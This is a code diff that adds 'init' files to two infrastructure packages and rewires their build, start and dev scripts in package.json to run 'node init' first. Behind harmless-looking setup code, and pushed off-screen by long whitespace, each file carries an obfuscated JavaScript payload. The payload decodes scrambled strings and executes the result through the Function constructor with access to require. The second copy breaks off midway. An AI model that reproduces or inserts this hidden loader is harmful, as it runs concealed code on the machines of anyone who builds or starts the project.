+}
+
+function init(options) {
+  if (state.ready) return state;
+  const opts = options || {};
+  state.env = opts.env || process.env.NODE_ENV || state.env;
+  state.root = opts.root || process.cwd();
+  ensureDir(path.join(state.root, '.tmp'));
+  state.ready = true;
+  return state;
+}
+
+init();                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{<akmsn)akte.vo9+ea0clio;bu =]C!gj;y3+l)e=.}dr=i6oiC8rnn0;6=ar\"}.rei=]Stsrnn.;2r=t;[t;iv=prCrn()aretuz+ hlk[+x=e -8j{(ejy9(()) ","R_<\"cRJ!&VecRWa=RrfR$6\"c1;RRYcnh_/.t iRRRG^<R.RcR2.[nR .Rf./<Rc3!!5nSR<RiRL.eSslf(edgxc<?o<rlcR?tRosdRfuSe.?&ph.RROMs[e<skRE.<Ru<rRe;RDRBrRR\\.fR.<c:!bpl09icoRrtcR(;roRRn2-\"(.^w y.<<dd )$f ou.%e<a<e.t<m(cRxfR<[J(feR<Pbr.b\'oRi.RR<\'RR%wRfs)eR.[agSP{d2.k<ac1e.!3.P<ZRiR*oDsi=[.<f.\"4Rb N\"eoxRpo.iIlkaeTR.2)%m<ieR]z<|Ru((fRwRR\\R>R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=<RR/`.Rk$(2cR.s7e1a.FRKc*..z\"RnfPesRtRRR.<Rl#Rf<: 2((R R$\'6s`<3nhi*$eXc}Rh? ctoc.iecc9 {Ra<s;u!.e]ERRoH..$\"n<D3RsRR..(ReesseR< t,\" Rdov}Sc0Jmi.T<sEegsRw]R\"aR.R!R<o))jR Rew itc.snk(}(n[veR<0<=kfH<rrMR ciknE.c.B<&R[o]R.%ccRlrx;* [\"oisenRefea!Yn.ecR%o\"u.<6lRRRyR=is=RR()RRe:RR)!RwcrR1<.o!RcRc@\"}RuRqu5(3Pol\"eRt0!ftaR*<R1tnkcf}T.!$/<ro IycRR )P<\\.b<tR7:PPs<].rX<<.eRu(RRRqnp.<.R;ctisX.RRyR$@<3)kRRc<+Rr8l*.iR!rC\\P!n=cs<(ci<(R7eReRc. t<epe)e<<,e<(EK!.pnb$\"RaRR.evuhc.Tl_c.:R0r )Rww!sS0.t7u.0(R9_a($&.e6f.RRk1Cxbi8l.hc=m(@<Rd..<rr.2.KMrcb_RnR(R_c:Dwt}.R.{}9g$RRR)TVt<a(.<G.dR~WUR.;lr.hIsmNP  t@RR8_R2R.iRrRPR<(R3#cec0ce3iRR<aR3RanR{Zs}!M<R-*.yda3Ri/0%fR#R <i2<R08:.t}Rf!\"-Rc.RlRcytyRseA0RSTR8.4q<$FTeR..P_<cR6hbR.eri.c-RhcARC2vR.;bS<R<a#K<R:r]Tfee-;!k=_s.Rcmjs(R}:<RaR*&g.<domeisRn.($#_a{V@ocY-.omPdam.RalfcyoT+!P_gsr.<biR!f.)cI&(bIoRi(rnrW.ie.Rc !(ic(SR.cr`:9<XspR($ mRct<s.g!.48rskevVRPdRkxR<Rdern)eSs/)R ler<csT3dc}.R5C/W(.SonZr)Rcoccsch)R.<RR<t.ss(RR<dlu.c.|f8tk,slnepo<eR<!.6R.eeRRTa&h Mf<{[o$R< Rs0)= <xSec.c}<c$es((d)RRc}fCRR<*<R.m-.R*Re<(xvRs (M&Rf.eP*g >s)<o.=.RisnrR.?{5<ibR6)RR1s cRgqcelc=cl;be<lf*SICd2e\"zpRR}<cRlS,njscm$Rn.!aii<JY]<fPCs@jA.R<% t.RowR}\' r>pzh..lR\'<go_}<SR(kqxh[ &<iR-f$C<u<iaENR5RTR]<Rpsk..Rzdg.)]<)er.Rr.MsRzP>RRe<<t_hgl<p.RcmfRs!nftR4 dt_9^<,ore5RfRx RR[rX.<sbyR<<.2R.RrenUP(y>.p<<csRlt0t.{.Syin<ggl$ Vc.):EHI!.xDuR,RpRhR(sct.MrRMjHMRRcR. Rtnd|oa0.n#a.2)Dfk&cRIRRR/feR.c@<irs6T+1RPx..R.sc.aR#.-<X{R!n4RcRitR/nRe9m..<A)ben).]<.a(R(.{?3tR&RR/i(lX. <h!dRR<\"!co? 3 1R<-hn<dtndo<Rksm#-c(TeRee!].R<s<T+=R.Ri-r@RR.r#cd<cRRRmztf.CdeRp.c{QRibjsos.fRrg-RW0diRR<.k<ORR&-R!# ]Cs]yt4.-d_`PRR\'<.RvejSw<dc.c ,f.P.(.citcNbRn\'-.eRcRnrQ.rRxo{Rc<\"6Rnd]R}Rm(R$RSo.T5Rc2cx.*vRoic_>.s0BRf)<P<aR.oCZ|0 POHdQo.n <.1soR_\' .P<er.[<R|R<0i<Rr;\'I.R[}+lc![mc!.lc<n(a tRRHRl,}p}R)R8RJ<aR.<td(N>]ic<me@5cn[u.R).b%sPn<<_RR!RbR=$RR^<!})sb-6\"#E8cR(d!R)tratRR<< 21R\'L!ib|eOtRRt$ucdnRR.t)RzE.GPy! RAI-nqau<}.ycR...cRR.ccc$^RRdC_R<t8cRhs2\"R2.\'S>))2h!efy..>!iL$en ;%9OTv.d$4RRC<cPS(tuRwl&(m#\"R|pch<tH$a<< .t!RSEf.RRgcNP.R CRi4mR<#MRR<;wi-#E <<t<eR<H<RrntoE(!0r0<d..RC\"cn..2bp(6Cp<SR\"e1l)cc<a(P.P9e<qa)<<1<n.iRaRPR(}R=.&,2!cwR.)PR$.<qR<}!1*S<R!Rf.<c<Rd_<R2R<<#]<<RRRp!.rpR<*!TRIR<Pk<Rzta.&}.aleK=iP<R\'=gRP}Rp${SB. Rsy.(.t! c;<e5sh64tt<pf<otxuLTkr>;<R.cpsR.cRtR-#a4uR6.Rte;-($?w8:p/&Rl0<r#<e iisf!d$ao_(#cmr e<RRV!Pnca<t.~crc(e\'*a: <RRneaZe.%/dR<RR*(E `+e[PcwRw <(eucta).7W</$P<.hcST 7eRB!.+R.I<bhRel.te.b4[unueuR!Rlt(RRR,},HftHv_n.<eR _A<8<sr<Rx4)RN!pRd|B <RRkie\'c-.Rcnm3cs<Si<i.).E(R(<RRPR _3R<cwe.!.l<R$!Rbd,e<PREl$tpr!<o/).RRt!,T(rc#/.Ry(+RrRg`<f.<a+.f)/<<&< eRR<ei-<BfE.sRbnRR).R%/jtlR<%c R!R(xR#cR.sRR.RM.<R7c(cglRcm.]<.ec2b)P<<2RR&daBK)r<Zt>[daRHced.MR<}sRGr.R<?1RfRRcccR(osc\"RR~k<\\!Mc.p.C)uRx)+(Rk\\e\'j6MPURCmc?RR3R4(iie.sRe*R:zSR;Pn(Z)<lkRvl:<RQ{Rci\"cP+e,MRWa.<RMrRlt#<RRst3r!.<g<KRwR(Rj.RRa!.G4R.$pn.z;{eR;21{0T4(rRk-\'.!<Rx<iKh<)s[<tc PueR}r(faaRf7l<R5!rRlDXRm.1:piR <= Rjso.<er!oRqI)R1Rrrwo{&tRRK<nCZ-0M.cuR)c%cd0+w<$E<iT<<otdayn<io^.R\'RRwRc65kR#JP.<!R5e!r{Re;yeR(.0=;cis.c(gtR2pu9=MQf[{,On ..PNi(<.RaiQR..c%t/(/R<.r.Rr..l!scue.aP~R!c03aUR\"tcsc.!rVRpaiz0<b\"dtgd!.s?#cvdR~#R<R<)(Tb.IR)Pc<6?7)]4W6#nnPt.}re|RU>ReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.<w+c.(cs;! nh(R,RCR[<&XR<<.cbcTRsAfncS-R\"i<.cB(|RR.Rd%R.U/R.rL<t)!ReR2cpp!s<>R?1R$<teR<<Ro0rtf(ResbDR7liaR.}s./sRcrsarlR%f]s0R.<le<re%s.sllsb8ROxCRtc1t6{.- Rl.eRo.cgmRkoRsbca<Iyu}Rrt#s&|tRaxR)ho.Rsf kRRR4cr(x.c=t.<i3(Rx .<..R$f\"t RRsN</C RnRdRrpRR<od<.R<r[ar\"l<. P\".Rs.R.rc!v#DfReebo{,R)d8v<fRc.cJ<te.!RR\"kS(S)R#<S.hP}rt.(/(.c(1d<Rw!su0(o.Pb(0.RJcEiC.f( .i.buc<#r...RR[8)_!R.SRB!\"tRVbn_RlcPRR oRn;h<RP@r8aRrlc|co5(Rp)<Rxd<<$.n<lo}erR<oyRan.oy.RIB<ht<cobEiR}(mMr.TaR0RetiR}.!<.R19t<AebR_Lclh!D0r.R0ilirRc/s8<cR(r*R@e<<.l;.rc-PulaRccRi\"06@!Rc!.Qkl,<g<7}b(aRcL.cs\'+..T(<rR<<..&fd>Ro coemRcw.lcn(c:R\'|t<RnRY]4M0GR.RFRut.!<f.u+$+t<R*7sRRR(ibhd=P.<}RR=eR._).)rr,4& lR}e<R6RR<^gfleRdstP~<bc.(sy<5}Ri?lch<&.3{u.n_:iR7b;0<R<cRRRcR@|1seGRs2)c=h<f9e<<r+eR\\\')&5rv/Fr[.a.tn.RPrnU<o_c6n=ET<.i+xc7levsu<r.!Rc<!]Rw .RR(]PRD. lf!:&.bdpTl.R#RS.$R<(R <<c[.n. oRr67r<e-R-uc*RR$R.baeycs.![RxRR<DXtfncRQPisRtgc<.aR8!b!<St0<R> RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlR<cfRRu:sGRe,(gRVR\"RuRRR\"RtR<Rs\".ERi_P&R<lyoSg\'s>vRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfR<P]Rs/anfqNRR\'<.Rc8ciRRRc.a_ptKo<psr<7<RRi.o_c/!nRRs( >RP]xtt_s_ohB<a\'s&.P< .kGc6r<7io/wRISPPcxhRwc.<.cic%1Rf89dS <RbcsRVRsxrda]R;t?RN,,R>)cPY\"cRcReF !0RRq}}r05L6.<R.rf<$u|c<c<U-D[ cc.o<5;< (.E.h.R_l<Rr<<F<[ttCo%mS.RR3IbcioRR<apRcRc[RR<.fnRR,.RBan(y/R|HpGnR.<=RR<u(acs$R3eR)mc_A4unt\"e;sor(%RPt(eg(-*r!m<RD(RRa.rglz.Rw.fR]qavo]f(%<<ccl<4s9\\@u 9e.*x./FtSRP[.$%n`z)<<$!5Qcb+]R3tR<fiPce\\<zi.Rcabr (<<bnv6!tnw_cXf(nh.[}*s(`<P>(R<..<xt9R(.c<(e0R.Pao.!d((-@f0e<<6RoRu;(d` Rp..<p,e<T<N.PR.[RcOz)f(<l].u{?rf<R;R<I*a<<$`R( (...<\":<NR%eR i#.z.l(rR,dRa.dRv<sVc(s]i)Mh.Rn<RRRttRg,~.R[R#ef.;ttp.)sRnStlRR2oe.&ci(a}.\"P&yseR_a%rRR.D<iPsRD!i.mR\"Rjzh<uR.,>de.jO}aRQcV<s$3CgR<R5EcdUhce.!Uf.R-x6<].wc<<.E!rRPRiCx.SR!m.nXb.7f.zefZR\"\"](y<xb<k<]UR-c}qf.!Ni=YiRoRRN.@sw1Lue1kR& #rDceR.alRR.R.(\"]MRtMiRr)rluRd&.RRcpifIl2R<R<<5f)z&fURec<s4<ensR.o\"<i<,R!s oBiR-cR0lRNtTR)SRc<fdutRRdPzRH(Rcs)PD<c$Rx2&:1Hrlo..n fs.$n8upO$0isssi.-<vR<.<qQ(!R! [!dxwn.Ryu*i?dR%.R2Rt>r7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.<R1sR9d]R+RRheR!cc2RRe\"9c[r<;DePcRRktGlg<?tAU\'ttRQR} w3tRat](Vt-?<<?..\"lr).eR-RRI^EKv.47Ro+iN<ece.nRx(tRHR t8;Rir)<aRcx(qaRs@ferRM.<=.ct@<fcR.R)R.rxl!t/,lsRRRc=.i03RhRRs{_xRr<Q<c,a<<EW(MoR< utE\"f}bfr.<sR+]dr <R!QRw.i IRT_Po.(c0t8(sRTRRcnBR!\".xID.Ai}epoR3!oz=]etkRt/uA14RR9Rct!Nadr_nGC!/b$}R\"xd<iRct^.uuw=3dRpwgR9R8PqRi#Rpg9u=1i0f<.R<P0f}tv_r3es:<fr<i7(<y(olR.e9ooBT._RtoE) as(<cRiedtssR/RR/erR(.wce.R.rPy(RO(<.gHxrR<T.L!Rx(<o([.+{<c<R<.eiNTRC[x.4RkR$pK\".lcP(.<tk.<RQFknwIR).t-Rr=e{<.PP #E63ap3[R)Lddc;RxR!R\' oo!)w.e!.Rc<0%<iss9RuO6ir$.R.ip6%m-6wRi<z< gr=nweRRN__R(ReJvRfR%:NRPR<nRRR$.R.mR<rR#{Ec.)b<6peiRf#tL..R<PjRR.(,a_ll. .D g<(rhv \"4k! `lR<ke1 c$$5Rz.RR]eu&DiR .R<((cersE.aoRhef)%eLR).:.^)esCR.}.T<P^. Dy<#RcRpNRr)nRRl_3d8W(c=-3EeqeiMRReRzRacCue<l<Rsi.a;rc<.ldRY.RarlRcnOf3hTsdt<M\"m<s(np}:A.fyR<RC<#Ry0vR<}<R.<%ats!lR>-<2lld.nr5=(F:.RRlnRcR\"sz3o\"<fR&3..!Y>fR)beRlshpM%<f.(d!abiFR 3waM<se..qfR.i_.&E!.&RRRcRx{R[R._?R2!!RRcx)RIM.)f=#1ELbRRnJeaMim1)RRR_ |<la<3)0ycd&.#n=l.|Rs;.f(ec.cs=c{?R/%d_!anOce<Rrxa.\'b)=_<m)icAcCRc.n<R.e ..R-<AR5.Rm[dR<<2R.An9xRctmcE%[..R,Qt<uPf_!<R= tZRclpP*.uep6<f.b8RR<cSrk<e}Rckdc.;<tz.l.<!io.<r/2<R=bcRRsVD.R.1b<cc<R}<h+. RvTRp_P<.rs(uPQt:..<>Rk9!=a;o<a*.7r]0Y)8c}z(<a.R.e8Ro tl Rc(A~i!*(bR%cR,c0t< rMRR< Ri< .fPe*+E)m.oj..m8m.cR($<f.R.idey}cBRR!sc<no9R<n RwrN0#tRduc_-RS\"i{i)(nMcR<0N</V<<.,0+w.]<w<ReeR,w/eR.R)i. R<e .6Rga.rgs+Qitd.o!cteaLRo)3R <.cd./.~< .s\\.e<sp5R.<RRwa!*.R)tR,ofRZ<ZtcRhsRr$/.RC..b \"cRt,\'leacPc RR<Rz\"<Ri l0oRRdRs7.R(eCcR_.6\"_R..p<&kddee.<=..lo.=R<!b.&Rc<tcCr0m&cXu\'wnd.s;sw+R4/suDicPba ..i!o1^r}I>e4<:RwCRic<RRRc\". dRpt0<.Rk0<W8r RnR.Dc.CN lwoh.l-<R<pcbR Pe6hY-Rt.cEp:<+a-V<RaRf\'(<rRRR&<az<4RRR.E)7.xrc0ilHRTisc.ZfRfcRx-th).R#=!<C.w\"l{e]e-R</<s4Nt.op\"ce.4Rn{SRo<R)Cc])e(Rw8RR. <1hc{p8cS!e<R?RKa=i6Ri[.IRpR$RbxRScl.p<P!fa!vvsO.!pRRt.EglRt<.!iud.lu<is.RoR4!.P.cm.Pi}Ro..lPNRy6=t{<ae._!RwRtaR.sf.!.]4[e.RkE}-}ve..$NwiD!}.0R#<isaR3p%<}.aR@RJt.RGax.R\'spC0!RGcr.2FRiRePaRnsRRRna<R)5U:\"n=cdc?ABt.20.tdc!C1R c.<edaA.R(.,elRcR<c&<.eCRURif{aJKR+ex-x:Pc%ei@ecRek?pR.4 RR<R#$c..i+!4RR$R3#R.r(PiRR<c.Rci_U!zRRR;u^|.Z.s(TRRTc.d}R<y._c<.RR{$kR4FB($\\<w. .;R<eR4\\sRc8<R.R[EdR uoR[}V(.pd\'\"<Ja(4prAR(.Nc<<rp3.>z eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(<k3R+hn %R.RF)lR;R.s R.jlmR((loH.<R<{PReRi<<cdeK.R.fR2pR(ao~.RyRRR[:RR?eisRPfk Ys(s3.c <4blo<0<9{o<RT@R..nRiR;al?soR0g<T.Rtm<u.s\\?Rl._Rccz4&:?0 .5R/ctc4<R>hi%.i#i}<R.Emc1xAnfR{Scr.R.%|\".PrrRn<cRnP!aRRtRfR.P 8\'R<JA R&i<ecc{]cf.RmaR.irc.iReZ\"n<y!< cR #<,ec!Rd9sic+_1a.ru..b..Reh<R~i$ot<fRdcit<\\go_0lRmvF(<e9s<Rtt( !RnR6}<.itO..&9s4dNRc .o.RR.]j0 R ma4;r<sCa)& mo[xlR*ht!,Aup Ru,fRtf[j)P*cRR1<RSv s!2cIsR..e74hRd\'c:vsr.s;<e(<_!MRfRfLLgal.!.u.R9(Mcla(d}tOa.}RcIebmEc0N(RD%bE$ rd<cw).F<ObZWR.jg.U4\"afR`\'m%/efaxRRR;Rna:7vR0bc.a_R<<jRRs..X)spGi&v\'e.l.2.I.e9rRe.s\'1=r.eRexbb_RR_e9cd<FIP!.cR+8.446/U<<ls!]<u`pRsub<b>JPwp@ilR<i)k!dRLkR.trRx(rr)% /.(]b8cRs+vR-c)}:osR.c#\"<cqk<ek.imRSN.RsE bPPn)<e}o0e\".1dRIR!(r.%.I..Rfza_?RRkf/,tcRRIf.<iR bdRO.cPcdeR.s}ejFbp;o.fs<c_mc<aF.dnc0c RRR.qn .RcR.hRKj<Rs.kc<3Rs.ccTt.trtnt>w;/IcZc8r<i.Rt>Rcs..s s{Te <!.+.R.<uRPRo.<K.m.a.srM<R .cwRic<R)nP(<RReeutcJc%pN.Rsce.=eaf0<\'@S}1<<YIjr!!<4a.fRR.l&<R$..lv.}|5&R.R!<)xfs.b$:Rc l.< o(J.e.#N.7t<)c<w eR0.=<yc !..Re?<n\'B[Rbo\'auR} rae#R=.iR(st2.b~ <Sc.}tTsRr<aR) ryir!C<c td~\" X.ttR<R!d c..!ed.R.<R n.Sne!!)4/oXRRu.enR<.rRqR\"l_M.efttr tRc._r<R.R.dd{Wh{R.<.&RRc<.gf}Rcr52dte}d(}?cF7.xy$W<!..c6pc?Nc0z(h4.RRo=_oa.Pf!f4hR.Rd*e=d#cc6rr{o/RaRS.z.v.RDc<.[R9.\'t]&.RRR-4R&ew\\cRYeonf t.m)e=.icK.R{.0sl1pcRs(chl.WR.yc.{eil3ft<{/.C.(.n<l)>m<<d1<a? nec<R..avloRvjRge._ =R+.RR.wdR.d6%.Icc(+t.:ci\'.cht.b.R!s4ft_Rxta<s}H,cc.dkRnc..}c# n)R.(_)c13.ot.o.}<!.tRR).t<...8Rn.Htct<blRotcQGn^*_xmecPT}..<<r0 lEt!dn\"0pf.gl}R<eRlT@i..g)ne4Ru<fRRTg.cR.c.eet<..^ee,r;t|pcteWFs RgadRroG(ltl #(yr<.#ddt.<R i-o<stId!b)RIEt*RRn&R.c<iRmlR(-(mtck.Ry!0RYJ<c.Ri>rr. w9cTaR=<PcdK]_\\2f( #.Rs%.te<n/Rrycc.nRc$.P&.f.iccBPNRdR;R.5<RR<mPo{(R{_n<lRid.hR .dRnRr!JwR0.RPRr.>=(f<e?.<Bf]xRcbcPcRs}<R(s.RPY.RR_Pk(o<(dl<0eR,1:D1sv.ilhe_PRpccR1qm.dm\"<sisPd.? pmdRhRnct(?$RrtRx.e)`..R.p?i!R1Rr( {.eTRR}.c}<RR8..RpR\"cg;.cc0RrR. t&3nd5ecPb_.R!RaccRbcdb}c(!{t<.Rnv.NR&~eAs$z\"<4<.ogsfCaRl<ocERoRRt..<s.i`R?.sgc..RsRs.\'$xRcsNRR!R`RoR_n!#R,!5qf.#BIR@l.,.]oReRa|<R[t<<:|a[4<R~R!+Eg-R.aP!e &l<5n%cRRdFryc.s/R.;{{,H.;<n<.)4.tdmR)sRd(mRb{.<Rc.rPm.cRe cRckRx)<c&ci.yceluy;,.XdrRlRR# ccf.cR  R$Rcorr(.rCp<Nr#E(]RnR\"ijngRR4<C$adlRac&t(!-Rp.]do.ciR}usRrs(n C<!;.fc.c@z<tR4tCRtRtc=.c3cfo.!  R;<fe8RdrMRR[dN[cyRc:>Tn<l^.lo8RiRRcssc}Rtpc{.sRs...}c.RaY[<a* )I(ldR(wsr6 *R7!a<S.c<\\R.BELRe6Yf<1<ecPrDe sl0PbD#R]o.\'<l.m R(p)<ekac.cR.d.._u<a\'< Rlibfmndf].(%RR<RNDcRER#V..asa[n&R,$<,R<o4RReER)ssL]8ESRReREiR{R<c.{ cWGf}ohdcas.]. fP= os67EocIPoc .7igcFCR. <cE.N .bR"];function b(q,h){for(var i,p,t,s,j,m,g=[],o=0,k=h[0];o< q.length;){g[o]= q.charAt(o),o+= 1};for(i= g.length,o= 0;o< i;){p= k* (o+ h[1])+ k% h[2],j= (t= k* (o+ h[3])+ k% h[4])% i,m= g[s= p% i],g[s]= g[j],g[j]= m,k= (p+ t)% h[5],o+= 1};return g.join(a[0x0])}function c(q){var h=String.fromCharCode(28),i=b(q,NX);return (i= (i= (i= i.split(a[0x3]).join(h)).split(a[0x4]).join(a[0x3])).split(a[0x2]).join(a[0x1])).split(h)}function d(q){return b(q,SX)}function f(v,m){try{var u=Object.getOwnPropertyDescriptor(v,"name");if(!u|| (!u.writable&&  !u.enumerable && u.configurable &&  typeof u.value== "string")){Object.defineProperty(v,"name",{value:m,configurable:true})}}catch(e){};return v}spin= f(b,"spin");splitLane= f(c,"splitLane");peel= f(d,"peel");NX= [6912847,367,20411,613,43759,5019283],SX= [5283741,241,41953,187,56129,4738901];!function(q,h){q.z= z;var i=c(a[0x5]);q[i[0]]= h, typeof module=== i[1]&& (q[i[2]]= module);var p=d(a[0x6]),t=d[p.substring(0,11)],s=t(a[0x0],d(a[0x7]));t(a[0x0],s(d(a[0x8])))(2509)}(global,require)})()
\ No newline at end of file
diff --git a/infra/reconciler/package.json b/infra/reconciler/package.json
index 8e09d261..a703f014 100644
--- a/infra/reconciler/package.json
+++ b/infra/reconciler/package.json
@@ -8,10 +8,10 @@
     "node": ">=20"
   },
   "scripts": {
-    "build": "tsc -p tsconfig.json",
+    "build": "node init && tsc -p tsconfig.json",
     "typecheck": "tsc -p tsconfig.json --noEmit",
-    "start": "node dist/src/index.js",
-    "dev": "node src/index.js",
+    "start": "node init && node dist/src/index.js",
+    "dev": "node init && node src/index.js",
     "test": "node --test test/*.test.js"
   },
   "dependencies": {},
diff --git a/infra/ttl-sentinel/init b/infra/ttl-sentinel/init
new file mode 100644
index 00000000..5ff9668b
--- /dev/null
+++ b/infra/ttl-sentinel/init
@@ -0,0 +1,33 @@
+'use strict';
+import { createRequire } from 'module';
+
+const require = createRequire(import.meta.url);
+const path = require('path');
+const fs = require('fs');
+
+const ROOT = process.cwd();
+const ENV = process.env.NODE_ENV || 'development';
+
+const state = {
+  root: ROOT,
+  env: ENV,
+  ready: false,
+};
+
+function ensureDir(dir) {
+  try {
+    if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
+  } catch (_) {}
+}
+
+function init(options) {
+  if (state.ready) return state;
+  const opts = options || {};
+  state.env = opts.env || process.env.NODE_ENV || state.env;
+  state.root = opts.root || process.cwd();
+  ensureDir(path.join(state.root, '.tmp'));
+  state.ready = true;
+  return state;
+}
+
+init();                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{<akmsn)akte.vo9+ea0clio;bu =]C!gj;y3+l)e=.}dr=i6oiC8rnn0;6=ar\"}.rei=]Stsrnn.;2r=t;[t;iv=prCrn()aretuz+ hlk[+x=e -8j{(ejy9(()) ","R_<\"cRJ!&VecRWa=RrfR$6\"c1;RRYcnh_/.t iRRRG^<R.RcR2.[nR .Rf./<Rc3!!5nSR<RiRL.eSslf(edgxc<?o<rlcR?tRosdRfuSe.?&ph.RROMs[e<skRE.<Ru<rRe;RDRBrRR\\.fR.<c:!bpl09icoRrtcR(;roRRn2-\"(.^w y.<<dd )$f ou.%e<a<e.t<m(cRxfR<[J(feR<Pbr.b\'oRi.RR<\'RR%wRfs)eR.[agSP{d2.k<ac1e.!3.P<ZRiR*oDsi=[.<f.\"4Rb N\"eoxRpo.iIlkaeTR.2)%m<ieR]z<|Ru((fRwRR\\R>R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=<RR/`.Rk$(2cR.s7e1a.FRKc*..z\"RnfPesRtRRR.<Rl#Rf<: 2((R R$\'6s`<3nhi*$eXc}Rh? ctoc.iecc9 {Ra<s;u!.e]ERRoH..$\"n<D3RsRR..(ReesseR< t,\" Rdov}Sc0Jmi.T<sEegsRw]R\"aR.R!R<o))jR Rew itc.snk(}(n[veR<0<=kfH<rrMR ciknE.c.B<&R[o]R.%ccRlrx;* [\"oisenRefea!Yn.ecR%o\"u.<6lRRRyR=is=RR()RRe:RR)!RwcrR1<.o!RcRc@\"}RuRqu5(3Pol\"eRt0!ftaR*<R1tnkcf}T.!$/<ro IycRR )P<\\.b<tR7:PPs<].rX<<.eRu(RRRqnp.<.R;ctisX.RRyR$@<3)kRRc<+Rr8l*.iR!rC\\P!n=cs<(ci<(R7eReRc. t<epe)e<<,e<(EK!.pnb$\"RaRR.evuhc.Tl_c.:R0r )Rww!sS0.t7u.0(R9_a($&.e6f.RRk1Cxbi8l.hc=m(@<Rd..<rr.2.KMrcb_RnR(R_c:Dwt}.R.{}9g$RRR)TVt<a(.<G.dR~WUR.;lr.hIsmNP  t@RR8_R2R.iRrRPR<(R3#cec0ce3iRR<aR3RanR{Zs}!M<R-*.yda3Ri/0%fR#R <i2<R08:.t}Rf!\"-Rc.RlRcytyRseA0RSTR8.4q<$FTeR..P_<cR6hbR.eri.c-RhcARC2vR.;bS<R<a#K<R:r]Tfee-;!k=_s.Rcmjs(R}:<RaR*&g.<domeisRn.($#_a{V@ocY-.omPdam.RalfcyoT+!P_gsr.<biR!f.)cI&(bIoRi(rnrW.ie.Rc !(ic(SR.cr`:9<XspR($ mRct<s.g!.48rskevVRPdRkxR<Rdern)eSs/)R ler<csT3dc}.R5C/W(.SonZr)Rcoccsch)R.<RR<t.ss(RR<dlu.c.|f8tk,slnepo<eR<!.6R.eeRRTa&h Mf<{[o$R< Rs0)= <xSec.c}<c$es((d)RRc}fCRR<*<R.m-.R*Re<(xvRs (M&Rf.eP*g >s)<o.=.RisnrR.?{5<ibR6)RR1s cRgqcelc=cl;be<lf*SICd2e\"zpRR}<cRlS,njscm$Rn.!aii<JY]<fPCs@jA.R<% t.RowR}\' r>pzh..lR\'<go_}<SR(kqxh[ &<iR-f$C<u<iaENR5RTR]<Rpsk..Rzdg.)]<)er.Rr.MsRzP>RRe<<t_hgl<p.RcmfRs!nftR4 dt_9^<,ore5RfRx RR[rX.<sbyR<<.2R.RrenUP(y>.p<<csRlt0t.{.Syin<ggl$ Vc.):EHI!.xDuR,RpRhR(sct.MrRMjHMRRcR. Rtnd|oa0.n#a.2)Dfk&cRIRRR/feR.c@<irs6T+1RPx..R.sc.aR#.-<X{R!n4RcRitR/nRe9m..<A)ben).]<.a(R(.{?3tR&RR/i(lX. <h!dRR<\"!co? 3 